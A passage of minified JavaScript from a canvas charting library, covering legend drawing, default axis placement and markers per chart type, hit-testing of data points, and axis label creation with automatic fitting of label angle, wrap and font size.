tType||"stepLine"===n.chartType||"spline"===n.chartType)n.textBlock.x+=0.1*this.lin
eHeight;n.textBlock.y=Math.round(p+this.lineHeight/2);n.textBlock.render(!
0);this.ctx.restore();s=0<q?
Math.max(s,n.textBlock.height):n.textBlock.height;this.chart.data[n.dataSeriesIndex
].visible||
(this.ctx.globalAlpha=1);f=N(n.id);this.ghostCtx.fillStyle=f;this.ghostCtx.beginPat
h();this.ghostCtx.fillRect(u,n.textBlock.y-this.lineHeight/
2,n.textBlock.x+n.textBlock.width-
u,n.textBlock.height);n.x1=this.chart._eventManager.objectMap[n.id].x1=u;n.y1=this.
chart._eventManager.objectMap[n.id].y1=n.textBlock.y-
this.lineHeight/2;n.x2=this.chart._eventManager.objectMap[n.id].x2=n.textBlock.x+n.
textBlock.width;n.y2=this.chart._eventManager.objectMap[n.id].y2=n.textBlock.y+n.te
xtBlock.height-
this.lineHeight/2}l+=s}};qa(F,V);F.prototype.getDefaultAxisPlacement=function(){var
a=this.type;if("column"===a||"line"===a||"stepLine"===a||"spline"===
a||"area"===a||"stepArea"===a||"splineArea"===a||"stackedColumn"===a||"stackedLine"
===a||"bubble"===a||"scatter"===a||"stackedArea"===a||"stackedColumn100"===a||"stac
kedLine100"===a||"stackedArea100"===a||"candlestick"===a||"ohlc"===a||"rangeColumn"
===a||"rangeArea"===a||"rangeSplineArea"===a||"boxAndWhisker"===a||"waterfall"===a)
return"normal";if("bar"===a||"stackedBar"===a||"stackedBar100"===a||"rangeBar"===a)
return"xySwapped";if("pie"===a||"doughnut"===a||"funnel"===a||"pyramid"===a)return"
none";
"error"!==a&&window.console.log("Unknown Chart Type: "+a);return
null};F.getDefaultLegendMarker=function(a)
{if("column"===a||"stackedColumn"===a||"stackedLine"===a||"bar"===a||"stackedBar"==
=a||"stackedBar100"===a||"bubble"===a||"scatter"===a||"stackedColumn100"===a||"stac
kedLine100"===a||"stepArea"===a||"candlestick"===a||"ohlc"===a||"rangeColumn"===a||
"rangeBar"===a||"rangeArea"===a||"rangeSplineArea"===a||"boxAndWhisker"===a||"water
fall"===a)return"square";if("line"===a||"stepLine"===a||"spline"===
a||"pie"===a||"doughnut"===a)return"circle";if("area"===a||"splineArea"===a||"stack
edArea"===a||"stackedArea100"===a||"funnel"===a||"pyramid"===a)return"triangle";if(
"error"===a)return"none";window.console.log("Unknown Chart Type: "+a);return
null};F.prototype.getDataPointAtX=function(a,d){if(!this.dataPoints||
0===this.dataPoints.length)return null;var
b={dataPoint:null,distance:Infinity,index:NaN},c=null,e=0,g=0,k=1,l=Infinity,h=0,m=
0,s=0;"none"!==this.chart.plotInfo.axisPlacement&&(this.axisX.logarithmic?
(s=Math.log(this.dataPoints[this.dataPoints.length-
1].x/this.dataPoints[0].x),s=1<s?Math.min(Math.max((this.dataPoints.length-
1)/s*Math.log(a/this.dataPoints[0].x)>>0,0),this.dataPoints.length):0):
(s=this.dataPoints[this.dataPoints.length-1].x-this.dataPoints[0].x,s=0<s?
Math.min(Math.max((this.dataPoints.length-1)/s*(a-
this.dataPoints[0].x)>>0,0),this.dataPoints.length):0));for(;;){g=0<k?s+e:s-
e;if(0<=g&&g<this.dataPoints.length){var
c=this.dataPoints[g],q=this.axisX.logarithmic?c.x>a?c.x/a:a/c.x:
Math.abs(c.x-a);q<b.distance&&(b.dataPoint=c,b.distance=q,b.index=g);c=q;c<=l?
l=c:0<k?h++:m++;if(1E3<h&&1E3<m)break}else if(0>s-
e&&s+e>=this.dataPoints.length)break;-1===k?(e++,k=1):k=-1}return d||b.dataPoint.x!
==a?d&&null!==b.dataPoint?b:null:b};F.prototype.getDataPointAtXY=function(a,d,b)
{if(!this.dataPoints||0===this.dataPoints.length||a<this.chart.plotArea.x1||
a>this.chart.plotArea.x2||d<this.chart.plotArea.y1||d>this.chart.plotArea.y2)return
null;b=b||!1;var c=[],e=0,g=0,k=1,l=!1,h=Infinity,
m=0,s=0,q=0;if("none"!
==this.chart.plotInfo.axisPlacement)if(q=(this.chart.axisX[0]?
this.chart.axisX[0]:this.chart.axisX2[0]).getXValueAt({x:a,y:d}),this.axisX.logarit
hmic)var n=Math.log(this.dataPoints[this.dataPoints.length-
1].x/this.dataPoints[0].x),q=1<n?Math.min(Math.max((this.dataPoints.length-
1)/n*Math.log(q/this.dataPoints[0].x)>>0,0),this.dataPoints.length):0;else
n=this.dataPoints[this.dataPoints.length-1].x-this.dataPoints[0].x,q=0<n?
Math.min(Math.max((this.dataPoints.length-1)/n*(q-this.dataPoints[0].x)>>
0,0),this.dataPoints.length):0;for(;;){g=0<k?q+e:q-
e;if(0<=g&&g<this.dataPoints.length){var
n=this.chart._eventManager.objectMap[this.dataPointIds[g]],f=this.dataPoints[g],p=n
ull;if(n){switch(this.type){case "column":case "stackedColumn":case
"stackedColumn100":case "bar":case "stackedBar":case "stackedBar100":case
"rangeColumn":case "rangeBar":case "waterfall":case
"error":a>=n.x1&&(a<=n.x2&&d>=n.y1&&d<=n.y2)&&(c.push({dataPoint:f,dataPointIndex:g
,dataSeries:this,distance:Math.min(Math.abs(n.x1-
a),Math.abs(n.x2-a),Math.abs(n.y1-d),Math.abs(n.y2-d))}),l=!0);break;case
"line":case "stepLine":case "spline":case "area":case "stepArea":case
"stackedArea":case "stackedArea100":case "splineArea":case "scatter":var
u=na("markerSize",f,this)||4,r=b?20:u,p=Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y1-
d,2));p<=r&&c.push({dataPoint:f,dataPointIndex:g,dataSeries:this,distance:p});n=Mat
h.abs(n.x1-a);n<=h?h=n:0<k?m++:s++;p<=u/2&&(l=!0);break;case "rangeArea":case
"rangeSplineArea":u=na("markerSize",f,this)||
4;r=b?20:u;p=Math.min(Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y1-
d,2)),Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y2-
d,2)));p<=r&&c.push({dataPoint:f,dataPointIndex:g,dataSeries:this,distance:p});n=Ma
th.abs(n.x1-a);n<=h?h=n:0<k?m++:s++;p<=u/2&&(l=!0);break;case
"bubble":u=n.size;p=Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y1-
d,2));p<=u/2&&(c.push({dataPoint:f,dataPointIndex:g,dataSeries:this,distance:p}),l=
!0);break;case "pie":case "doughnut":u=n.center;r="doughnut"===this.type?
n.percentInnerRadius*n.radius:
0;p=Math.sqrt(Math.pow(u.x-a,2)+Math.pow(u.y-
d,2));p<n.radius&&p>r&&(p=Math.atan2(d-u.y,a-
u.x),0>p&&(p+=2*Math.PI),p=Number(((180*(p/Math.PI)
%360+360)%360).toFixed(12)),u=Number(((180*(n.startAngle/Math.PI)
%360+360)%360).toFixed(12)),r=Number(((180*(n.endAngle/Math.PI)
%360+360)%360).toFixed(12)),0===r&&1<n.endAngle&&(r=360),u>=r&&0!
==f.y&&(r+=360,p<u&&(p+=360)),p>u&&p<r&&(c.push({dataPoint:f,dataPointIndex:g,dataS
eries:this,distance:0}),l=!0));break;case "funnel":case
"pyramid":p=n.funnelSection;
d>p.y1&&d<p.y4&&(p.y6?d>p.y6?(g=p.x6+(p.x5-p.x6)/(p.y5-p.y6)*(d-p.y6),p=p.x3+(p.x4-
p.x3)/(p.y4-p.y3)*(d-p.y3)):(g=p.x1+(p.x6-p.x1)/(p.y6-p.y1)*(d-p.y1),p=p.x2+(p.x3-
p.x2)/(p.y3-p.y2)*(d-p.y2)):(g=p.x1+(p.x4-p.x1)/(p.y4-p.y1)*(d-p.y1),p=p.x2+(p.x3-
p.x2)/(p.y3-p.y2)*(d-
p.y2)),a>g&&a<p&&(c.push({dataPoint:f,dataPointIndex:n.dataPointIndex,dataSeries:th
is,distance:0}),l=!0));break;case "boxAndWhisker":if(a>=n.x1-
n.borderThickness/2&&a<=n.x2+n.borderThickness/2&&d>=n.y4-
n.borderThickness/2&&d<=n.y1+n.borderThickness/
2||Math.abs(n.x2-a+n.x1-
a)<n.borderThickness&&d>=n.y1&&d<=n.y4)c.push({dataPoint:f,dataPointIndex:g,dataSer
ies:this,distance:Math.min(Math.abs(n.x1-a),Math.abs(n.x2-a),Math.abs(n.y2-
d),Math.abs(n.y3-d))}),l=!0;break;case "candlestick":if(a>=n.x1-
n.borderThickness/2&&a<=n.x2+n.borderThickness/2&&d>=n.y2-
n.borderThickness/2&&d<=n.y3+n.borderThickness/2||Math.abs(n.x2-a+n.x1-
a)<n.borderThickness&&d>=n.y1&&d<=n.y4)c.push({dataPoint:f,dataPointIndex:g,dataSer
ies:this,distance:Math.min(Math.abs(n.x1-a),
Math.abs(n.x2-a),Math.abs(n.y2-d),Math.abs(n.y3-d))}),l=!0;break;case
"ohlc":if(Math.abs(n.x2-a+n.x1-a)<n.borderThickness&&d>=n.y2&&d<=n.y3||
a>=n.x1&&a<=(n.x2+n.x1)/2&&d>=n.y1-
n.borderThickness/2&&d<=n.y1+n.borderThickness/2||
a>=(n.x1+n.x2)/2&&a<=n.x2&&d>=n.y4-
n.borderThickness/2&&d<=n.y4+n.borderThickness/2)c.push({dataPoint:f,dataPointIndex
:g,dataSeries:this,distance:Math.min(Math.abs(n.x1-a),Math.abs(n.x2-
a),Math.abs(n.y2-d),Math.abs(n.y3-d))}),l=!0}if(l||1E3<m&&1E3<s)break}}else if(0>q-
e&&q+e>=
this.dataPoints.length)break;-1===k?(e++,k=1):k=-1}a=null;for(d=0;d<c.length;d++)a?
c[d].distance<=a.distance&&(a=c[d]):a=c[d];return
a};F.prototype.getMarkerProperties=function(a,d,b,c){var
e=this.dataPoints;return{x:d,y:b,ctx:c,type:e[a].markerType?
e[a].markerType:this.markerType,size:e[a].markerSize?
e[a].markerSize:this.markerSize,color:e[a].markerColor?
e[a].markerColor:this.markerColor?this.markerColor:e[a].color?
e[a].color:this.color?this.color:this._colorSet[a
%this._colorSet.length],borderColor:e[a].markerBorderColor?
e[a].markerBorderColor:this.markerBorderColor?
this.markerBorderColor:null,borderThickness:e[a].markerBorderThickness?
e[a].markerBorderThickness:this.markerBorderThickness?
this.markerBorderThickness:null}};qa(z,V);z.prototype.createExtraLabelsForLog=funct
ion(a){a=(a||0)+1;if(!(5<a)){var d=this.logLabelValues[0]||
this.intervalStartPosition;if(Math.log(this.range)/Math.log(d/this.viewportMinimum)
<this.noTicks-1){for(var b=z.getNiceNumber((d-
this.viewportMinimum)/Math.min(Math.max(2,this.noTicks-this.logLabelValues.length),
3),!0),c=Math.ceil(this.viewportMinimum/b)*b;c<d;c+=b)c<this.viewportMinimum||
this.logLabelValues.push(c);this.logLabelValues.sort(Sa);this.createExtraLabelsForL
og(a)}}};z.prototype.createLabels=function(){var
a,d,b=0,c=0,e,g=0,k=0,c=0,c=this.interval,l=0,h,m=0.6*this.chart.height,p;a=!1;var
q=this.scaleBreaks?this.scaleBreaks._appliedBreaks:[],n=q.length?
u(this.scaleBreaks.firstBreakIndex)?
0:this.scaleBreaks.firstBreakIndex:0;if("axisX"!==this.type||"dateTime"!
==this.valueType||this.logarithmic){e=
this.viewportMaximum;if(this.labels){a=Math.ceil(c);for(var
c=Math.ceil(this.intervalStartPosition),f=!
1,b=c;b<this.viewportMaximum;b+=a)if(this.labels[b])f=!0;else{f=!
1;break}f&&(this.interval=a,this.intervalStartPosition=c)}if(this.logarithmic&&!
this.equidistantInterval)for(this.logLabelValues||
(this.logLabelValues=[],this.createExtraLabelsForLog()),c=0,f=n;c<this.logLabelValu
es.length;c++)if(b=this.logLabelValues[c],b<this.viewportMinimum)c+
+;else{for(;f<q.length&&b>q[f].endValue;f++);a=f<q.length&&
b>=q[f].startValue&&b<=q[f].endValue;p=b;a||(a=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.options,value:p,label:this.labels[p
]?this.labels[p]:null}):"axisX"===this.type&&this.labels[p]?
this.labels[p]:ba(p,this.valueFormatString,this.chart._cultureInfo),a=new
ka(this.ctx,
{x:0,y:0,maxWidth:g,maxHeight:k,angle:this.labelAngle,text:this.prefix+a+this.suffi
x,backgroundColor:this.labelBackgroundColor,borderColor:this.labelBorderColor,borde
rThickness:this.labelBorderThickness,cornerRadius:this.labelCornerRadius,
horizontalAlign:"left",fontSize:this.labelFontSize,fontFamily:this.labelFontFamily,
fontWeight:this.labelFontWeight,fontColor:this.labelFontColor,fontStyle:this.labelF
ontStyle,textBaseline:"middle",borderThickness:0}),this._labels.push({position:p,te
xtBlock:a,effectiveHeight:null}))}f=n;for(b=this.intervalStartPosition;b<=e;b=parse
Float(1E-12>this.interval?this.logarithmic&&this.equidistantInterval?
b*Math.pow(this.logarithmBase,this.interval):b+this.interval:
(this.logarithmic&&this.equidistantInterval?
b*Math.pow(this.logarithmBase,this.interval):b+this.interval).toFixed(12)))
{for(;f<q.length&&b>q[f].endValue;f+
+);a=f<q.length&&b>=q[f].startValue&&b<=q[f].endValue;p=b;a||
(a=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.options,value:p,label:this.labels[p
]?this.labels[p]:null}):"axisX"===this.type&&this.labels[p]?
this.labels[p]:ba(p,this.valueFormatString,this.chart._cultureInfo),a=new
ka(this.ctx,
{x:0,y:0,maxWidth:g,maxHeight:k,angle:this.labelAngle,text:this.prefix+a+this.suffi
x,
horizontalAlign:"left",backgroundColor:this.labelBackgroundColor,borderColor:this.l
abelBorderColor,borderThickness:this.labelBorderThickness,cornerRadius:this.labelCo
rnerRadius,fontSize:this.labelFontSize,fontFamily:this.labelFontFamily,fontWeight:t
his.labelFontWeight,fontColor:this.labelFontColor,fontStyle:this.labelFontStyle,tex
tBaseline:"middle"}),this._labels.push({position:p,textBlock:a,effectiveHeight:null
}))}}else for(this.intervalStartPosition=this.getLabelStartPoint(new
Date(this.viewportMinimum),
this.intervalType,this.interval),e=Ya(new
Date(this.viewportMaximum),this.interval,this.intervalType),f=n,b=this.intervalStar
tPosition;b<e;Ya(b,c,this.intervalType))
{for(a=b.getTime();f<q.length&&a>q[f].endValue;f+
+);p=a;a=f<q.length&&a>=q[f].startValue&&a<=q[f].endValue;a||
(a=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.options,value:new
Date(p),label:this.labels[p]?
this.labels[p]:null}):"axisX"===this.type&&this.labels[p]?
this.labels[p]:Ca(p,this.valueFormatString,this.chart._cultureInfo),
a=new ka(this.ctx,
{x:0,y:0,maxWidth:g,backgroundColor:this.labelBackgroundColor,borderColor:this.labe
lBorderColor,borderThickness:this.labelBorderThickness,cornerRadius:this.labelCorne
rRadius,maxHeight:k,angle:this.labelAngle,text:this.prefix+a+this.suffix,horizontal
Align:"left",fontSize:this.labelFontSize,fontFamily:this.labelFontFamily,fontWeight
:this.labelFontWeight,fontColor:this.labelFontColor,fontStyle:this.labelFontStyle,t
extBaseline:"middle"}),this._labels.push({position:p,textBlock:a,effectiveHeight:nu
ll,
breaksLabelType:void
0}))}if("bottom"===this._position||"top"===this._position)l=this.logarithmic&&!
this.equidistantInterval&&2<=this._labels.length?
this.lineCoordinates.width*Math.log(Math.min(this._labels[this._labels.length-
1].position/this._labels[this._labels.length-
2].position,this._labels[1].position/this._labels[0].position))/Math.log(this.range
):this.lineCoordinates.width/(this.logarithmic&&this.equidistantInterval?
Math.log(this.range)/Math.log(this.logarithmBase):Math.abs(this.range))*S[this.inte
rvalType+
"Duration"]*this.interval,g="undefined"===typeof this.options.labelMaxWidth?
0.5*this.chart.width>>0:this.options.labelMaxWidth,this.chart.panEnabled||
(k="undefined"===typeof this.options.labelWrap||this.labelWrap?
0.8*this.chart.height>>0:1.5*this.labelFontSize);else
if("left"===this._position||"right"===this._position)l=this.logarithmic&&!
this.equidistantInterval&&2<=this._labels.length?
this.lineCoordinates.height*Math.log(Math.min(this._labels[this._labels.length-
1].position/this._labels[this._labels.length-
2].position,this._labels[1].position/this._labels[0].position))/Math.log(this.range
):this.lineCoordinates.height/(this.logarithmic&&this.equidistantInterval?
Math.log(this.range)/Math.log(this.logarithmBase):Math.abs(this.range))*S[this.inte
rvalType+"Duration"]*this.interval,this.chart.panEnabled||(g="undefined"===typeof
this.options.labelMaxWidth?
0.3*this.chart.width>>0:this.options.labelMaxWidth),k="undefined"===typeof
this.options.labelWrap||this.labelWrap?
0.3*this.chart.height>>0:1.5*this.labelFontSize;
for(c=0;c<this._labels.length;c++)
{a=this._labels[c].textBlock;a.maxWidth=g;a.maxHeight=k;var
B=a.measureText();h=B.height}e=[];n=q=0;if(this.labelAutoFit||
this.options.labelAutoFit)if(u(this.labelAngle)||(this.labelAngle=(this.labelAngle
%360+360)%360,90<this.labelAngle&&270>this.labelAngle?this.labelAngle-
=180:270<=this.labelAngle&&360>=this.labelAngle&&(this.labelAngle-
=360)),"bottom"===this._position||"top"===this._position)if(g=0.9*l>>0,n=0,!
this.chart.panEnabled&&1<=this._labels.length){this.sessionVariables.labelFontSize=
this.labelFontSize;this.sessionVariables.labelMaxWidth=g;this.sessionVariables.labe
lMaxHeight=k;this.sessionVariables.labelAngle=this.labelAngle;this.sessionVariables
.labelWrap=this.labelWrap;for(b=0;b<this._labels.length;b++)if(!
this._labels[b].breaksLabelType){a=this._labels[b].textBlock;for(var
v,f=a.text.split(" "),c=0;c<f.length;c++)p=f[c],this.ctx.font=a.fontStyle+"
"+a.fontWeight+" "+a.fontSize+"px
"+a.fontFamily,p=this.ctx.measureText(p),p.width>n&&(v=b,n=p.width)}b=0;for(b=this.
intervalStartPosition<
this.viewportMinimum?1:0;b<this._labels.length;b++)if(!
this._labels[b].breaksLabelType)
{a=this._labels[b].textBlock;B=a.measureText();for(f=b+1;f<this._labels.length;f+
+)if(!this._labels[f].breaksLabelType)
{d=this._labels[f].textBlock;d=d.measureText();break}e.push(a.height);this.sessionV
ariables.labelMaxHeight=Math.max.apply(Math,e);Math.cos(Math.PI/180*Math.abs(this.l
abelAngle));Math.sin(Math.PI/180*Math.abs(this.labelAngle));c=g*Math.sin(Math.PI/18
0*Math.abs(this.labelAngle))+(k-a.fontSize/2)*
Math.cos(Math.PI/180*Math.abs(this.labelAngle));if(u(this.options.labelAngle)&&isNa
N(this.options.labelAngle)&&0!
==this.options.labelAngle)if(this.sessionVariables.labelMaxHeight=0===this.labelAng
le?k:Math.min((c-
g*Math.cos(Math.PI/180*Math.abs(this.labelAngle)))/Math.sin(Math.PI/180*Math.abs(th
is.labelAngle)),c),p=(m-(h+a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(-
25)))/Math.sin(Math.PI/180*Math.abs(-25)),!
u(this.options.labelWrap))this.labelWrap?u(this.options.labelMaxWidth)?
(this.sessionVariables.labelMaxWidth=
Math.min(Math.max(g,n),p),this.sessionVariables.labelWrap=this.labelWrap,B.width+d.
width>>0>2*g&&(this.sessionVariables.labelAngle=-25)):
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWidth
=this.options.labelMaxWidth,this.sessionVariables.labelAngle=this.sessionVariables.
labelMaxWidth>g?-
25:this.sessionVariables.labelAngle):u(this.options.labelMaxWidth)?
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxHeigh
t=k,this.sessionVariables.labelMaxWidth=
g,B.width+d.width>>0>2*g&&(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelMaxWidth=p)):
(this.sessionVariables.labelAngle=this.sessionVariables.labelMaxWidth>g?-
25:this.sessionVariables.labelAngle,this.sessionVariables.labelMaxWidth=this.option
s.labelMaxWidth,this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelW
rap=this.labelWrap);else{if(u(this.options.labelWrap))if(!
u(this.options.labelMaxWidth))this.options.labelMaxWidth<g?
(this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth,
this.sessionVariables.labelMaxHeight=c):(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth,this.sessionVaria
bles.labelMaxHeight=k);else if(!
u(d))if(c=B.width+d.width>>0,f=this.labelFontSize,n<g)c-2*g>q&&(q=c-
2*g,c>=2*g&&c<2.2*g?
(this.sessionVariables.labelMaxWidth=g,u(this.options.labelFontSize)&&12<f&&(f=Math
.floor(12/13*f),a.measureText()),this.sessionVariables.labelFontSize=u(this.options
.labelFontSize)?f:this.options.labelFontSize,this.sessionVariables.labelAngle=
this.labelAngle):c>=2.2*g&&c<2.8*g?(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelMaxWidth=p,this.sessionVariables.labelFontSize=f):c>=
2.8*g&&c<3.2*g?
(this.sessionVariables.labelMaxWidth=Math.max(g,n),this.sessionVariables.labelWrap=
!
0,u(this.options.labelFontSize)&&12<this.labelFontSize&&(this.labelFontSize=Math.fl
oor(12/13*this.labelFontSize),a.measureText()),this.sessionVariables.labelFontSize=
u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelAngle=
this.labelAngle):c>=3.2*g&&c<3.6*g?(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelMaxWidth=p,this.sessionVariables.labelFontSize=this.la
belFontSize):c>3.6*g&&c<5*g?
(u(this.options.labelFontSize)&&12<f&&(f=Math.floor(12/13*f),a.measureText()),this.
sessionVariables.labelFontSize=u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelAngle=-25,this.sessionVariables.labelMaxWidth=p):
c>5*g&&(this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelMaxWidth=g,this.sessionVariables.labelFontSize=f,this.
sessionVariables.labelMaxHeight=k,this.sessionVariables.labelAngle=this.labelAngle)
);else if(v===b&&(0===v&&n+this._labels[v+1].textBlock.measureText().width-2*g>q||
v===this._labels.length-1&&n+this._labels[v-1].textBlock.measureText().width-
2*g>q||0<v&&v<this._labels.length-
1&&n+this._labels[v+1].textBlock.measureText().width-2*g>q&&n+this._labels[v-
1].textBlock.measureText().width-
2*g>q))q=0===v?n+this._labels[v+1].textBlock.measureText().width-
2*g:n+this._labels[v-1].textBlock.measureText().width-
2*g,this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelAngle=-25,this.sessionVariables.labelMaxWidth=p;else
if(0===q)for(this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelWrap=!
0,c=0;c<this._labels.length;c++)a=
this._labels[c].textBlock,a.maxWidth=this.sessionVariables.labelMaxWidth=Math.min(M
ath.max(g,n),p),B=a.measureText(),c<this._labels.length-
1&&(f=c+1,d=this._labels[f].textBlock,d.maxWidth=this.sessionVariables.labelMaxWidt
h=Math.min(Math.max(g,n),p),d=d.measureText(),B.width+d.width>>0>2*g&&(this.session
Variables.labelAngle=-
25))}else(this.sessionVariables.labelAngle=this.labelAngle,this.sessionVariables.la
belMaxHeight=0===this.labelAngle?k:Math.min((c-
g*Math.cos(Math.PI/180*Math.abs(this.labelAngle)))/
Math.sin(Math.PI/180*Math.abs(this.labelAngle)),c),p=0!=this.labelAngle?(m-
(h+a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle)))/Math.sin(Math.PI/
180*Math.abs(this.labelAngle)):g,this.sessionVariables.labelMaxHeight=k=this.labelW
rap?(m-
p*Math.sin(Math.PI/180*Math.abs(this.labelAngle)))/Math.cos(Math.PI/180*Math.abs(th
is.labelAngle)):1.5*this.labelFontSize,u(this.options.labelWrap))?
u(this.options.labelWrap)&&(this.labelWrap&&!u(this.options.labelMaxWidth)?
(this.sessionVariables.labelWrap=
this.labelWrap,this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth:p,this.sessionVariables.labelMaxHeight=k):
(this.sessionVariables.labelAngle=this.labelAngle,this.sessionVariables.labelMaxWid
th=p,this.sessionVariables.labelMaxHeight=c<0.9*l?
0.9*l:c,this.sessionVariables.labelWrap=this.labelWrap)):(this.options.labelWrap?
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWidth
=this.options.labelMaxWidth?this.options.labelMaxWidth:p):
(u(this.options.labelMaxWidth),this.sessionVariables.labelMaxWidth=this.options.lab
elMaxWidth?
this.options.labelMaxWidth:p,this.sessionVariables.labelWrap=this.labelWrap),this.s
essionVariables.labelMaxHeight=k)}for(c=0;c<this._labels.length;c+
+)a=this._labels[c].textBlock,a.maxWidth=this.labelMaxWidth=this.sessionVariables.l
abelMaxWidth,a.fontSize=this.sessionVariables.labelFontSize,a.angle=this.labelAngle
=this.sessionVariables.labelAngle,a.wrap=this.labelWrap=this.sessionVariables.label
Wrap,a.maxHeight=
this.sessionVariables.labelMaxHeight,a.measureText()}else
for(b=0;b<this._labels.length;b+
+)a=this._labels[b].textBlock,a.maxWidth=this.labelMaxWidth=u(this.options.labelMax
Width)?
this.sessionVariables.labelMaxWidth:this.options.labelMaxWidth,a.fontSize=this.labe
lFontSize=u(this.options.labelFontSize)?
this.sessionVariables.labelFontSize:this.options.labelFontSize,a.angle=this.labelAn
gle=u(this.options.labelAngle)?
this.sessionVariables.labelAngle:this.labelAngle,a.wrap=this.labelWrap=u(this.optio
ns.labelWrap)?
this.sessionVariables.labelWrap:this.options.labelWrap,a.maxHeight=this.sessionVari
ables.labelMaxHeight,a.measureText();else
if("left"===this._position||"right"===this._position)if(g=u(this.options.labelMaxWi
dth)?0.3*this.chart.width>>0:this.options.labelMaxWidth,k="undefined"===typeof
this.options.labelWrap||this.labelWrap?
0.3*this.chart.height>>0:1.5*this.labelFontSize,!
this.chart.panEnabled&&1<=this._labels.length)
{this.sessionVariables.labelFontSize=this.labelFontSize;this.sessionVariables.label
MaxWidth=
g;this.sessionVariables.labelMaxHeight=k;this.sessionVariables.labelAngle=u(this.se
ssionVariables.labelAngle)?
0:this.sessionVariables.labelAngle;this.sessionVariables.labelWrap=this.labelWrap;f
or(b=0;b<this._labels.length;b++)if(!this._labels[b].breaksLabelType)
{a=this._labels[b].textBlock;B=a.measureText();for(f=b+1;f<this._labels.length;f+
+)if(!this._labels[f].breaksLabelType)
{d=this._labels[f].textBlock;d=d.measureText();break}e.push(a.height);this.sessionV
ariables.labelMaxHeight=Math.max.apply(Math,
e);c=g*Math.sin(Math.PI/180*Math.abs(this.labelAngle))+(k-
a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle));Math.cos(Math.PI/180*
Math.abs(this.labelAngle));Math.sin(Math.PI/180*Math.abs(this.labelAngle));u(this.o
ptions.labelAngle)&&isNaN(this.options.labelAngle)&&0!==this.options.labelAngle?
u(this.options.labelWrap)?
u(this.options.labelWrap)&&(u(this.options.labelMaxWidth)?u(d)||
(l=B.height+d.height>>0,l-2*k>n&&(n=l-2*k,l>=2*k&&l<2.4*k?
(u(this.options.labelFontSize)&&12<this.labelFontSize&&
(this.labelFontSize=Math.floor(12/13*this.labelFontSize),a.measureText()),this.sess
ionVariables.labelMaxHeight=k,this.sessionVariables.labelFontSize=u(this.options.la
belFontSize)?this.labelFontSize:this.options.labelFontSize):l>=2.4*k&&l<2.8*k?
(this.sessionVariables.labelMaxHeight=c,this.sessionVariables.labelFontSize=this.la
belFontSize,this.sessionVariables.labelWrap=!0):l>=2.8*k&&l<3.2*k?
(this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelWrap=!
0,u(this.options.labelFontSize)&&12<
this.labelFontSize&&(this.labelFontSize=Math.floor(12/13*this.labelFontSize),a.meas
ureText()),this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize,this.sessionVariables.labelAngle=u(th
is.sessionVariables.labelAngle)?
0:this.sessionVariables.labelAngle):l>=3.2*k&&l<3.6*k?
(this.sessionVariables.labelMaxHeight=c,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelFontSize=this.labelFontSize):l>3.6*k&&l<10*k?
(u(this.options.labelFontSize)&&
12<this.labelFontSize&&(this.labelFontSize=Math.floor(12/13*this.labelFontSize),a.m
easureText()),this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize,this.sessionVariables.labelMaxWidth=g
,this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelAngle=u(this.ses
sionVariables.labelAngle)?
0:this.sessionVariables.labelAngle):l>10*k&&l<50*k&&(u(this.options.labelFontSize)&
&12<this.labelFontSize&&(this.labelFontSize=Math.floor(12/13*this.labelFontSize),
a.measureText()),this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize,this.sessionVariables.labelMaxHeight=
k,this.sessionVariables.labelMaxWidth=g,this.sessionVariables.labelAngle=u(this.ses
sionVariables.labelAngle)?0:this.sessionVariables.labelAngle))):
(this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelMaxWidth=this.op
tions.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth)):
(this.sessionVariables.labelMaxWidth=
this.labelWrap?this.options.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth:this.labelMaxWidth?
this.options.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth:g,this.sessionVariab
les.labelMaxHeight=k):
(this.sessionVariables.labelAngle=this.labelAngle,this.sessionVariables.labelMaxWid
th=0===this.labelAngle?g:Math.min((c-
k*Math.sin(Math.PI/180*Math.abs(this.labelAngle)))/Math.cos(Math.PI/180*Math.abs(th
is.labelAngle)),k),u(this.options.labelWrap))?
u(this.options.labelWrap)&&(this.labelWrap&&!u(this.options.labelMaxWidth)?
(this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth>this.options.labelMaxWidth:this.sessionVariables.labelMa
